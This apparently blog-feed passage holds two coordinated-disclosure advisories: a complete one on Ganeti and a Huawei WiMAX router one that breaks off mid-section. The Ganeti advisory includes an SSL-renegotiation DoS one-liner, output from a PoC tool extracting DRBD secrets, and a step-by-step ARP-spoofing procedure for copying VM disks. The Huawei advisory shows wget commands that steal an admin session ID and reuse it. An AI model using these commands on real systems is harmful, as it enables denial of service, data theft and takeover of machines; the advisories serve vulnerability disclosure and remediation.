<p><a href="https://code.google.com/p/ganeti/">Ganeti</a> is a virtual machine cluster management tool developed by Google.</p>
<p>The solution stack uses either Xen or KVM as the virtualization platform, LVM for disk management,
and optionally DRBD for disk replication across physical hosts.</p>
<h2>Vulnerabilities Summary</h2>
<p>Ganeti has security problems in the default install (with DRBD) and the default configuration due to old libraries and design problem,
even if the security level in Ganeti seems to be high.</p>
<p>These problems affect every versions until the last released version.</p>
<p>The Ganeti API Daemon is open on every interface by default and an attacker can DoS this daemon.</p>
<p>It is also possible to abuse this deamon to retrieve information, such as network topology, DRBD secrets...</p>
<p><strong>A PoC is provided to automaticaly retrieve sensitive information and a possible scenario, allowing to take over Virtual Machines remotely, is provided (which worked in my lab in certain conditions)</strong>.</p>
<h2>Details - CVE-2015-7944 - Unauthenticated Remote DoS</h2>
<p>Ganeti is prone to a SSL DoS with SSL renegociation against the RAPI Daemon:</p>
<pre><code>user@kali:~$ (sleep 1; while true;do echo R;done) | openssl s_client -connect 10.105.1.200:5080
CONNECTED(00000003)
depth=0 CN = ganeti.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = ganeti.example.com
verify return:1
---
Certificate chain
 0 s:/CN=ganeti.example.com
   i:/CN=ganeti.example.com
---
Server certificate
-----BEGIN CERTIFICATE-----
[...]
-----END CERTIFICATE-----
subject=/CN=ganeti.example.com
issuer=/CN=ganeti.example.com
---
No client certificate CA names sent
---
SSL handshake has read 1003 bytes and written 625 bytes
---
New, TLSv1/SSLv3, Cipher is AES256-GCM-SHA384
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : TLSv1.2
    Cipher    : AES256-GCM-SHA384
    Session-ID: D75BCF369143CD008D693B022B967149AF0BD420DE385C51227A1921CD29360D
    Session-ID-ctx: 
    Master-Key: 7DDD57FD479AE6555D1D42CF2B15B8857C28430189EC5C1331C75C4253E4A9F0FC0672EE2F2438CD055328C5A46C4F5F
    Key-Arg   : None
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 300 (seconds)
    TLS session ticket:
    0000 - 10 ad 69 39 76 6c 2e 37-cf e7 c2 2c 5f f0 e0 20   ..i9vl.7...,_.. 
    0010 - 5d 85 5a 79 82 20 6a 1d-f1 6e 51 f5 f2 f7 c6 cf   ].Zy. j..nQ.....
    0020 - c1 85 2d 42 5a 1c 53 b4-cb db de 65 04 2a 02 da   ..-BZ.S....e.*..
    0030 - 5c 7d 82 ef 56 4a a4 a1-88 bd 87 fd af 25 e3 2e   \}..VJ.......%..
    0040 - 28 68 04 a4 01 22 88 72-30 0b 79 1c 75 61 88 d5   (h...".r0.y.ua..
    0050 - c9 f3 e2 0b 02 50 bf c8-29 ac d9 36 f3 76 bd 8b   .....P..)..6.v..
    0060 - 05 e0 d3 a9 f3 8b 8b 11-ef 19 2f 94 92 30 94 58   ........../..0.X
    0070 - aa 64 ba 3f a4 fc 15 4b-74 11 3b c3 c7 e7 d4 33   .d.?...Kt.;....3
    0080 - dd 76 e9 e1 1b 3a 95 c4-50 28 4f 9e bc cc cb f3   .v...:..P(O.....
    0090 - bf 4d 60 92 64 00 af 67-c0 e9 69 e3 98 54 21 dc   .M`.d..g..i..T!.

    Start Time: 1138121399
    Timeout   : 300 (sec)
    Verify return code: 18 (self signed certificate)
---
RENEGOTIATING
depth=0 CN = ganeti.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = ganeti.example.com
verify return:1
RENEGOTIATING
depth=0 CN = ganeti.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = ganeti.example.com
verify return:1
RENEGOTIATING
depth=0 CN = ganeti.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = ganeti.example.com
verify return:1
RENEGOTIATING
[...]
</code></pre>
<p>From my test, 1 thread takes 75% of CPU.</p>
<p><code>top</code> on the main server (10.105.1.200):</p>
<pre><code>19734 gnt-rapi  20   0  148980  35364   4696 R  76.8  3.7   0:04.12 ganeti-rapi
</code></pre>
<p>Multiple threads will eat all the available CPUs and will likely DoS ganeti:</p>
<pre><code>21280 gnt-rapi  20   0  148980  35364   4696 R  35.3  3.7   0:05.06 ganeti-rapi
20968 gnt-rapi  20   0  148980  35364   4696 R  33.4  3.7   0:09.92 ganeti-rapi
20969 gnt-rapi  20   0  148980  35364   4696 R  32.4  3.7   0:09.95 ganeti-rapi
21282 gnt-rapi  20   0  148980  35364   4696 R  32.4  3.7   0:04.53 ganeti-rapi
21281 gnt-rapi  20   0  148980  35364   4696 R  31.4  3.7   0:04.78 ganeti-rapi
</code></pre>
<p>An attacker can use tools from THC to perform SSL DoS too (openssl was the fastest solution out of the box): <a href="https://www.thc.org/thc-ssl-dos/">https://www.thc.org/thc-ssl-dos/</a>.</p>
<h2>Details - CVE-2015-7945 - Unauthenticated Remote Information Disclosure</h2>
<p>This vulnerability allows an attacker to retrieve data using information disclosure,
allowing him, depending on the configuration, to remotely hack VMs.
A PoC (<a href="https://pierrekim.github.io/advisories/GHETTO-BLASTER">GHETTO-BLASTER</a> which works in Linux (Debian, Kali) and FreeBSD) is available here: <a href="https://pierrekim.github.io/advisories/GHETTO-BLASTER">https://pierrekim.github.io/advisories/GHETTO-BLASTER</a>.</p>
<p><strong>I. Design Security Problem with the RAPI Daemon</strong></p>
<p>In the Ganeti master node, when using <code>/usr/sbin/gnt-network</code>, a non-root user can't get information (debian-01 is the ganeti master node):</p>
<pre><code>user@debian-01:~$ /usr/sbin/gnt-network list
It seems you don't have permissions to connect to the master daemon.
Please retry as a different user.
user@debian-01:~$
</code></pre>
<p>This is common for all <code>gnt-tools</code> and seems to be a security design.</p>
<p>It appears Genati by default is too open when using the RAPI daemon and this daemon listens on every interface by default.</p>
<p>For example, the network configuration can be extracted from jobs using the RAPI daemon without authentication.</p>
<p>I wrote a tool, "GHETTO-BLASTER", to industrialize the process:</p>
<pre><code>user@kali:~$ ./GHETTO-BLASTER http://&lt;ip_of_ganeti_rapi&gt;

Example:
  https://&lt;ip&gt;

2015 Pierre Kim &lt;pierre.kim.sec@gmail.com&gt;
     @PierreKimSec https://pierrekim.github.io
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE &lt;http://www.wtfpl.net/txt/copying/&gt;
user@kali:~$ ./GHETTO-BLASTER http://10.105.1.200
[...]
[a lot of output]
[...]
user@kali:~$ ls -l 2-networks  2-networks-test-priv 2-networks-test-pub
-rw-r--r-- 1 user user 228 Jun 20 13:37 2-networks
-rw-r--r-- 1 user user 882 Jun 20 13:37 2-networks-test-priv
-rw-r--r-- 1 user user 881 Jun 20 13:37 2-networks-test-pub
user@kali:~$ cat 2-networks  2-networks-test-priv 2-networks-test-pub
$VAR1 = [
          {
            'name' =&gt; 'test-priv',
            'uri' =&gt; '/2/networks/test-priv'
          },
          {
            'uri' =&gt; '/2/networks/test-pub',
            'name' =&gt; 'test-pub'
          }
        ];
$VAR1 = {
          'mtime' =&gt; '1313027652.67126',
          'gateway' =&gt; undef,
          'network6' =&gt; undef,
          'inst_list' =&gt; [],
          'mac_prefix' =&gt; undef,
          'serial_no' =&gt; 1,
          'free_count' =&gt; 254,
          'name' =&gt; 'test-priv',
          'map' =&gt; 'X..............................................................................................................................................................................................................................................................X',
          'gateway6' =&gt; undef,
          'external_reservations' =&gt; '192.168.1.0, 192.168.1.255',
          'uuid' =&gt; '506ad97b-2276-43f4-ae27-e6bbb97f28ff',
          'ctime' =&gt; '1133027652.67126',
          'reserved_count' =&gt; 2,
          'network' =&gt; '192.168.1.0/24',
          'group_list' =&gt; [],
          'tags' =&gt; []
        };
$VAR1 = {
          'mac_prefix' =&gt; undef,
          'inst_list' =&gt; [],
          'network6' =&gt; undef,
          'mtime' =&gt; '1333027641.64375',
          'gateway' =&gt; undef,
          'map' =&gt; 'X..............................................................................................................................................................................................................................................................X',
          'free_count' =&gt; 254,
          'name' =&gt; 'test-pub',
          'serial_no' =&gt; 1,
          'reserved_count' =&gt; 2,
          'network' =&gt; '192.168.0.0/24',
          'ctime' =&gt; '1133027641.64375',
          'gateway6' =&gt; undef,
          'uuid' =&gt; '48b34199-2d23-46f0-b4aa-2539cb4a7780',
          'external_reservations' =&gt; '192.168.0.0, 192.168.0.255',
          'group_list' =&gt; [],
          'tags' =&gt; []
        };
user@kali:~$
</code></pre>
<p>It's possible to map the network and to retrieve sensible secrets.</p>
<p>Other interesting information:</p>
<p><code>osparams_secret</code> is readable in jobs using the access to RAPI.</p>
<p><strong>II. Using this information disclosure to hack VMs</strong></p>
<p>By default, <code>/var/lib/ganeti/config.data</code>(640, gnt-masterd:gnt-confd) contains the secret key for DRBD replication.</p>
<p>A remote user or even a local non-root (or non gnt-masterd user) can't get the configuration of DRBD.</p>
<p>This key can be extracted from jobs by abusing the RAPI daemon without authentication.</p>
<p>After running GHETTO-BLASTER, you will have a lot of files:</p>
<pre><code>user@kali:~$ ls
1-list-collectors      2-jobs-121  2-jobs-154  2-jobs-187  2-jobs-219  2-jobs-251  2-jobs-284  2-jobs-47  2-jobs-8
1-report-all           2-jobs-122  2-jobs-155  2-jobs-188  2-jobs-22   2-jobs-252  2-jobs-285  2-jobs-48  2-jobs-80
2-features             2-jobs-123  2-jobs-156  2-jobs-189  2-jobs-220  2-jobs-253  2-jobs-286  2-jobs-49  2-jobs-81
2-info                 2-jobs-124  2-jobs-157  2-jobs-19   2-jobs-221  2-jobs-254  2-jobs-287  2-jobs-5   2-jobs-82
2-instances            2-jobs-125  2-jobs-158  2-jobs-190  2-jobs-222  2-jobs-255  2-jobs-288  2-jobs-50  2-jobs-83
2-instances-vm-01      2-jobs-126  2-jobs-159  2-jobs-191  2-jobs-223  2-jobs-256  2-jobs-289  2-jobs-51  2-jobs-84
2-instances-vm-01-jobs 2-jobs-127  2-jobs-16   2-jobs-192  2-jobs-224  2-jobs-257  2-jobs-29   2-jobs-52  2-jobs-85
2-instances-vm-02      2-jobs-128  2-jobs-160  2-jobs-193  2-jobs-225  2-jobs-258  2-jobs-290  2-jobs-53  2-jobs-86
2-instances-vm-02-jobs 2-jobs-129  2-jobs-161  2-jobs-194  2-jobs-226  2-jobs-259  2-jobs-291  2-jobs-54  2-jobs-87
[...]
2-jobs-109             2-jobs-141  2-jobs-174  2-jobs-206  2-jobs-239  2-jobs-271  2-jobs-34   2-jobs-67  2-networks
2-jobs-11              2-jobs-142  2-jobs-175  2-jobs-207  2-jobs-24   2-jobs-272  2-jobs-35   2-jobs-68  2-nodes
2-jobs-110             2-jobs-143  2-jobs-176  2-jobs-208  2-jobs-240  2-jobs-273  2-jobs-36   2-jobs-69  2-nodes-debian-01
2-jobs-111             2-jobs-144  2-jobs-177  2-jobs-209  2-jobs-241  2-jobs-274  2-jobs-37   2-jobs-7   2-nodes-debian-01-role
2-jobs-112             2-jobs-145  2-jobs-178  2-jobs-21   2-jobs-242  2-jobs-275  2-jobs-38   2-jobs-70  2-nodes-debian-02
2-jobs-113             2-jobs-146  2-jobs-179  2-jobs-210  2-jobs-243  2-jobs-276  2-jobs-39   2-jobs-71  2-nodes-debian-02-role
2-jobs-114             2-jobs-147  2-jobs-18   2-jobs-211  2-jobs-244  2-jobs-277  2-jobs-4    2-jobs-72  2-os
2-jobs-115             2-jobs-148  2-jobs-180  2-jobs-212  2-jobs-245  2-jobs-278  2-jobs-40   2-jobs-73  version
2-jobs-116             2-jobs-149  2-jobs-181  2-jobs-213  2-jobs-246  2-jobs-279  2-jobs-41   2-jobs-74
2-jobs-117             2-jobs-15   2-jobs-182  2-jobs-214  2-jobs-247  2-jobs-28   2-jobs-42   2-jobs-75
2-jobs-118             2-jobs-150  2-jobs-183  2-jobs-215  2-jobs-248  2-jobs-280  2-jobs-43   2-jobs-76
2-jobs-119             2-jobs-151  2-jobs-184  2-jobs-216  2-jobs-249  2-jobs-281  2-jobs-44   2-jobs-77
2-jobs-12              2-jobs-152  2-jobs-185  2-jobs-217  2-jobs-25   2-jobs-282  2-jobs-45   2-jobs-78
2-jobs-120             2-jobs-153  2-jobs-186  2-jobs-218  2-jobs-250  2-jobs-283  2-jobs-46   2-jobs-79
</code></pre>
<p>Files contain DRBD secrets:</p>
<pre><code>user@kali:~$ grep secret *|tail -n 5
2-jobs-80:                                        'secret' =&gt; 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06'
2-jobs-82:                            'secret' =&gt; 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06'
2-jobs-84:                            'secret' =&gt; 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06',
2-jobs-85:                            'secret' =&gt; 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06',
2-jobs-86:                            'secret' =&gt; 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06',
user@kali:~$
</code></pre>
<p>The key is confirmed by using <code>drbdsetup show</code> as root in the Ganeti master node:</p>
<pre><code>root@debian-01:~# drbdsetup show
resource resource0 {
    options {
    }
    net {
        cram-hmac-alg           "md5";
        shared-secret           "eb1fe92b20aef58ed0570df49a38f82cf5a72d06";
        after-sb-0pri           discard-zero-changes;
        after-sb-1pri           consensus;
    }
    _remote_host {
        address                 ipv4 10.105.1.201:11000;
    }
    _this_host {
        address                 ipv4 10.105.1.200:11000;
        volume 0 {
            device                      minor 0;
            disk                        "/dev/xenvg-vg/41975138-516e-4f8d-9c39-f6716a89efa2.disk0_data";
            meta-disk                   "/dev/xenvg-vg/41975138-516e-4f8d-9c39-f6716a89efa2.disk0_meta";
            disk {
                size                    8388608s; # bytes
                resync-rate             61440k; # bytes/second
            }
       }
    }
}
root@debian-01:~#
</code></pre>
<p>By digging more, one of the jobs file (2-jobs-280) contains the DRDB configuration:</p>
<pre><code>[...]
  'drbd_info' =&gt; {
                   'port' =&gt; 11000,
                   'primary_minor' =&gt; 0,
                   'secondary_node' =&gt; 'debian-02',
                   'secondary_minor' =&gt; 0,
                   'secret' =&gt; 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06',
                   'primary_node' =&gt; 'debian-01'
                 },
[...]
</code></pre>
<p>As stated in <a href="http://docs.ganeti.org/ganeti/current/html/security.html">http://docs.ganeti.org/ganeti/current/html/security.html</a>:</p>
<pre><code>DRBD connections are protected from erroneous connections to other machines (as may happen due
to software issues), and from accepting connections from other machines, by using a shared secret,
exchanged via RPC requests from the master to the nodes when configuring the device.
</code></pre>
<p>We recovered the secret of DRBD, the port used and the nodes without authentication.
Other files contain the LVM VG and the LVM LG names! It's enough to start playing with DRDB from an attacker side.</p>
<p><strong>III. DRBD Madness</strong></p>
<p>Now, it's time for DRBD Feng Shui!</p>
<p>Getting the File System of a VM:</p>
<p>o By doing ARP spoofing in the same LAN:</p>
<p>We will impersonate 10.105.1.201 by doing ARP poisoning and using a valid drbd.conf thank to the parameters provided by the RAPI daemon:</p>
<pre><code>root@kali# cat etc-drbd.conf

include "drbd.d/global_common.conf";
include "drbd.d/*.res";

resource resource0 {
    volume 0 {
       device minor 0;
       disk                        "/dev/xenvg-vg/41975138-516e-4f8d-9c39-f6716a89efa2.disk0_data";
       meta-disk                   "/dev/xenvg-vg/41975138-516e-4f8d-9c39-f6716a89efa2.disk0_meta";
    }
    protocol C;
    net {
        cram-hmac-alg           "md5";
        shared-secret           "eb1fe92b20aef58ed0570df49a38f82cf5a72d06";
        after-sb-0pri           discard-zero-changes;
        after-sb-1pri           consensus;
    }
    on target {
        address    10.105.1.200:11000;
    }
    on kali {
        address    10.105.1.201:11000;
    }
}


root@kali# vgremove xenvg-vg 2&gt;/dev/null
root@kali# dd if=/dev/zero of=/dev/sdb bs=1024 count=1024
root@kali# pvcreate /dev/sdb
root@kali# vgcreate xenvg-vg /dev/sdb
root@kali# lvcreate --name 41975138-516e-4f8d-9c39-f6716a89efa2.disk0_data --size 4G xenvg-vg
root@kali# lvcreate --name 41975138-516e-4f8d-9c39-f6716a89efa2.disk0_meta --size 128M xenvg-vg
root@kali# cp etc-drbd.conf /etc/drbd.conf
root@kali# drbdadm create-md resource0
root@kali# drbdadm up resource0

&lt;ARP poisoning&gt; || root@kali# ifconfig eth0 10.105.1.201 netmask 255.255.255.0

root@kali# drbdadm attach resource0
root@kali# drbdadm connect resource0
root@kali# cat /proc/drbd
version: 8.4.3 (api:1/proto:86-101)
srcversion: 1A9F77B1CA5FF92235C2213 
 0: cs:SyncTarget ro:Secondary/Primary ds:Inconsistent/UpToDate C r-----
    ns:0 nr:916568 dw:916472 dr:0 al:0 bm:55 lo:2 pe:0 ua:2 ap:0 ep:1 wo:f oos:3277832
        [===&gt;................] sync'ed: 22.0% (3277832/4194304)K
        finish: 0:08:33 speed: 6,368 (5,912) want: 4,520 K/sec
root@kali# echo "wow synchronisation in progress !"
wow synchronisation in progress !
root@kali#
</code></pre>
<p>After 10min of synchronisation, an attacker will have a perfect copy of the targeted VM File System using DRDB replication.</p>
<p>It's also possible to write information in the File System (like adding SSH keys).
Rooting VMs by adding ssh keys and by doing <code>s/PermitRootLogin No/PermitRootLogin Yes/</code> is left as a exercise to the reader.</p>
<p>o Other methods of MiTM exist and are left as a exercise for the reader.</p>
<h2>Proposed Workarounds by the Security Researcher</h2>
<p>At first, I think these steps must be done to improve the security of ganeti:</p>
<p>1/ Forcing the RAPI to listen to 127.0.0.1 instead of 0.0.0.0.</p>
<p>This can be done by adding by default to /etc/default/ganeti:</p>
<pre><code>RAPI_ARGS="-b 127.0.0.1"
</code></pre>
<p>Listening to 127.0.0.1 for ganeti-mond is a good step too (it listens to 0.0.0.0:1815/tcp)</p>
<p>2/ Adding an authentication by default for the RAPI daemon (not only for writing access but for reading access too)</p>
<p>3/ Filtering the output of the jobs to avoid leaking secrets.</p>
<p>Note that the immediate step is to change the secrets used for DRBD and
  to be sure nobody had access to the DRBD blocks, allowing a compromise of all the VMs.</p>
<p>4/ Disabling SSL renegociation and updating the default ciphers.</p>
<p>A personal note: as deploying a working Ganeti platform is very complicated,
attackers will likely giving up before having a working Ganeti platform to study :)</p>
<h2>Vendor Response</h2>
<p>Update to the latest version of Ganeti.</p>
<p>Read details about mitigation measures here: <a href="https://groups.google.com/forum/#!topic/ganeti/9bLyzwmmvdg">https://groups.google.com/forum/#!topic/ganeti/9bLyzwmmvdg</a></p>
<h2>Report Timeline</h2>
<ul>
<li>Jul 30, 2015 : Pierre Kim sends an email to security@ganeti.org asking for a GPG key, email bounced</li>
<li>Jul 30, 2015 : Pierre Kim asks Google Security Team if Ganeti is elligible to the Google Vulnerability Reward Program</li>
<li>Jul 30, 2015 : Pierre Kim sends an email to Ganeti Team for a working security contact</li>
<li>Jul 30, 2015 : Guido Trotter replies by saying to use opensource-ganeti at google.com</li>
<li>Aug 1, 2015: Security@google.com confirms it's out of scope</li>
<li>Aug 4, 2015: Pierre Kim says the exploits are critical and Ganeti is widely used by Google</li>
<li>Aug 11, 2015: Advisories and PoC sent to Google Security Team and Pierre Kim asks Google Security Team to contact Riseup, as they are using Ganeti</li>
<li>Aug 12, 2015: Google Security Team transmitted the information to Ganeti Team</li>
<li>Aug 20, 2015: Google Security Team is working on the scope and the impact of the report</li>
<li>Aug 27, 2015: Google Security Team decided is not within scope of the VRP program but a research grant is awarded as "Security improvement efficacy research"</li>
<li>Aug 28, 2015: Pierre Kims provides information about DRBDv8, DRBDv9. Pierre Kim asks information about the DoS, the condition for the rewards and asks if Riseup was contacted</li>
<li>Sep 10, 2015: Google Security Team confirms they will not contact Riseup and that they ask "that you act and communicate in good faith, use your own best judgement, and we'll do everything we can to work with you to resolve vulnerabilities in a reasonable timeframe"</li>
<li>Oct 6, 2015: Pierre Kim asks for update about the security patchs and informs he will contact Riseup</li>
<li>Oct 6, 2015: Riseup is contacted</li>
<li>Oct 16, 2015: Google Security Team confirm releases end of October and asks about CVEs from MITRE. The Ganeti Bug #1135 is created</li>
<li>Oct 17, 2015: Pierre Kim asks Google to ask MITRE CVE assignments and proposes to contact CNNVD to get a CNNVD entry</li>
<li>Oct 17, 2015: Google Security Team contacted MITRE to get CVEs</li>
<li>Oct 23, 2015: Google Security Team has 2 CVE: CVE-2015-7944 and CVE-2015-7945</li>
<li>Nov 3, 2015: Pierre Kim informs new security with a DoS with the jobs creation</li>
<li>Nov 5, 2015: Ganeti Team has rate-limit to 20 concurrent jobs creation, which limit the problems and declares the patch will be very soon</li>
<li>Nov 17, 2015: Ganeti Team announces new releases next week</li>
<li>Nov 23, 2015: a pre-advisory is sent to Ganeti Team and Google Security Team</li>
<li>Dec 30, 2015: Ganeti Team releases a security advisory</li>
<li>Jan 05, 2015: A public advisory is sent to security mailing lists</li>
</ul>
<h2>Credit</h2>
<p>These vulnerabilities were found by Pierre Kim (<a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>).</p>
<h2>Greetings</h2>
<p>Big thanks to my friends Alexandre Torres, Jordan, Jerome and Stephen.</p>
<p>Thanks to Google Security Team which coordinated the issues by contacting MITRE and the different parties.</p>
<h2>References</h2>
<p><a href="https://pierrekim.github.io/advisories/2016-ganeti-0x00.txt">https://pierrekim.github.io/advisories/2016-ganeti-0x00.txt</a></p>
<p><a href="https://pierrekim.github.io/blog/2016-01-05-Ganeti-Info-Leak-DoS.html">https://pierrekim.github.io/blog/2016-01-05-Ganeti-Info-Leak-DoS.html</a></p>
<p><a href="http://www.ocert.org/advisories/ocert-2015-012.html">http://www.ocert.org/advisories/ocert-2015-012.html</a></p>
<p><a href="https://groups.google.com/forum/#!topic/ganeti/9bLyzwmmvdg">https://groups.google.com/forum/#!topic/ganeti/9bLyzwmmvdg</a></p>
<h2>PoC - GHETTO-BLASTER</h2>
<p>PoC is available here: <a href="https://pierrekim.github.io/advisories/GHETTO-BLASTER">https://pierrekim.github.io/advisories/GHETTO-BLASTER</a>.</p>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p></content>
    </entry>
    
    <entry>
        <title>Huawei Wimax routers vulnerable to multiple threats</title>
        <link href="2015-12-01-Huawei-Wimax-routers-vulnerable-to-multiple-threats.html"/>
        <content type="html"><h2>Product Description</h2>
<p>Huawei Technologies Co. Ltd. is a Chinese multinational networking
and telecommunications equipment and services company.
It is the largest telecommunications equipment manufacturer in the world.</p>
<h2>Vulnerabilities Summary</h2>
<p>The Huawei BM626e device is a Wimax router / access point overall badly
designed with a lot of vulnerabilities. The device is provided by
MTN Cote d'Ivoire as a "Wibox". It's available in a number of countries to
provide Internet with a Wimax network.</p>
<p>The tests below are done using the last available firmware
(firmware V100R001CIVC24B010).</p>
<p>Note: This firmware is being used by other Huawei Wimax CPEs and
Huawei confirmed that the devices below are vulnerable to the same threats:</p>
<ul>
<li>EchoLife BM626e WiMAX CPE</li>
<li>EchoLife BM626 WiMAX CPE</li>
<li>EchoLife BM635 WiMAX CPE</li>
<li>EchoLife BM632 WiMAX CPE</li>
<li>EchoLife BM631a WiMAX CPE</li>
<li>EchoLife BM632w WiMAX CPE</li>
<li>EchoLife BM652 WiMAX CPE</li>
</ul>
<p>The routers are still on sale and used in several countries. They are used, at least, in these countries:</p>
<ul>
<li>MTN CI (Cote d'Ivoire)</li>
<li>Iran Cell (Iran)</li>
<li>Irak Telecom (Irak)</li>
<li>Libyamax (Libya)</li>
<li>Globe Telecom (Philippines)</li>
<li>Zain Bahrain (Bahrain)</li>
<li>FreshTel (Ukraine)</li>
</ul>
<h2>Details - unauthenticated information disclosure</h2>
<p>By default, the webpage <code>http://192.168.1.1/check.html</code> contains important information
(wimax configuration, network configuration, wifi and sip configuration ...) and is reachable without authentication.</p>
<p>A JavaScript redirection will annoy the attacker (<code>/login.html</code>) and can be easily defeated by using wget:</p>
<pre><code>root@kali:~# wget http://192.168.1.1/check.html; less check.html
</code></pre>
<h2>Details - Admin session cookie hijacking</h2>
<p>If an admin is currently managing the device (OR used the device but didn't properly disconnect),
the current/used session can be stolen by an attacker located in the LAN (or WAN if the HTTP is open in the WAN interface).</p>
<p>The admin session id ("SID") can be recovered in multiple webpages without authentication:</p>
<ul>
<li>http://192.168.1.1/wimax/security.html</li>
<li>http://192.168.1.1/static/deviceinfo.html</li>
<li>...</li>
</ul>
<p>The security.html webpage contains a valid session ID, without authentication, within the JavaScript sources:</p>
<pre><code>sid="SID24188"
</code></pre>
<p>A "protection" is written in JavaScript and will redirect the attacker to the login webpage
but the Javascript contains the session of the admin (sid="SIDXXXXX") so the attacker can retrieve it easily using wget:</p>
<pre><code>root@kali:~# wget http://192.168.1.1/wimax/security.html ; less security.html
root@kali:~# wget http://192.168.1.1/static/deviceinfo.html ; less deviceinfo.html
</code></pre>
<p>Note that, by visiting the webpages, the attacker will also disconnect the administrator from the Control Panel (<code>http://192.168.1.1/</code>)</p>
<h2>Details - Information disclosure and CSRF using the stolen admin session ID</h2>
<p>By using the previously stolen SID, it is possible to perform administration tasks without having proper credentials:</p>
<ul>
<li>editing the WLAN configuration,</li>
<li>editing the WAN configuation,</li>
<li>editing the LAN configuration,</li>
<li>opening HTTP/HTTPS/TELNET/SSH in the LAN and WAN interfaces,</li>
<li>changing DMZ configurations,</li>
<li>editing PortMapping,</li>
<li>editing Porttrigger,</li>
<li>editing SIP configuration,</li>
<li>uploading a custom firmware,</li>
<li>...</li>
</ul>
<p><strong>Retrieve private information (network information):</strong></p>
<pre><code>root@kali:~# wget -qO- 'http://192.168.1.1/static/rethdhcp.jsx?WWW_SID=SID24188&amp;t=0'
Saving to: `STDOUT'

stats={};do{stats.dhcplist="44:8A:5B:AA:AA:AA,192.168.1.3,71:52:02@00:E0:4C:AA:AA:AA,192.168.1.2,71:52:02";
stats.reth="
   eth0      Link encap:Ethernet  HWaddr 34:6B:D3:AA:AA:AA
       UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1
       RX packets:27 errors:0 dropped:0 overruns:0 frame:0
       TX packets:109 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:1000
       RX bytes:2887 (2.8 KiB)  TX bytes:46809 (45.7 KiB)
       Interrupt:9 Base address:0x4000
   eth1      Link encap:Ethernet  HWaddr 34:6B:D3:AA:AA:AA
       UP BROADCAST PROMISC MULTICAST  MTU:1500  Metric:
       RX packets:0 errors:0 dropped:0 overruns:0 frame:0
       TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:1000
       RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
       Interrupt:9 Base address:0x4000
    eth2      Link encap:Ethernet  HWaddr 34:6B:D3:AA:AA:AA
       UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1
       RX packets:2530 errors:0 dropped:0 overruns:0 frame:0
       TX packets:2619 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:1000
       RX bytes:351557 (343.3 KiB)  TX bytes:536669 (524.0 KiB)
       Interrupt:9 Base address:0x4000
    eth3      Link encap:Ethernet  HWaddr 34:6B:D3:AA:AA:AA
       UP BROADCAST PROMISC MULTICAST  MTU:1500  Metric:1
       RX packets:0 errors:0 dropped:0 overruns:0 frame:0
       TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:1000
       RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
       Interrupt:9 Base address:0x4000
";stats.wlaninfo="
wl0       Link encap:Ethernet  HWaddr 34:6B:D3:AA:AA:AA
       UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
       RX packets:5257 errors:0 dropped:0 overruns:0 frame:0
       TX packets:846 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:1000
       RX bytes:1117126 (1.0 MiB)  TX bytes:279600 (273.0 KiB)
 wl1       Link encap:Ethernet  HWaddr 34:6B:D3:AA:AA:AA
       UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
       RX packets:0 errors:0 dropped:0 overruns:0 frame:0
       [...]

root@kali:~#
</code></pre>
<p><strong>Retrieve private information:</strong></p>
<p>An other JSX webpage: <code>http://192.168.1.1/advanced/WANconnect.jsx?WWW_SID=SID24188&amp;&amp;t=0</code></p>
<pre><code>root@kali:~# wget -qO- 'http://192.168.1.1/advanced/WANconnect.jsx?WWW_SID=SID24188&amp;&amp;t=0'
stats={};do{stats.PPPoEStatus='Disconnected'; stats.GREStatus='Disconnected';stats.wpsmode="7";stats.position="Idle,Idle,"}while(0);
</code></pre>
<p>It's possible to get a lot of information by abusing JSX webpages. Listing the JSX webpages is left as an exercise for the reader.</p>
<p>The Session ID can be used to change parameters in the Wimax router too:</p>
<p><strong>Editing the WLAN configuration:</strong></p>
<p>This request will change the first SSID name to 'powned' (you need to edit the WWW_SID, by the one provided in the <code>/wimax/security.html</code> webpage):</p>
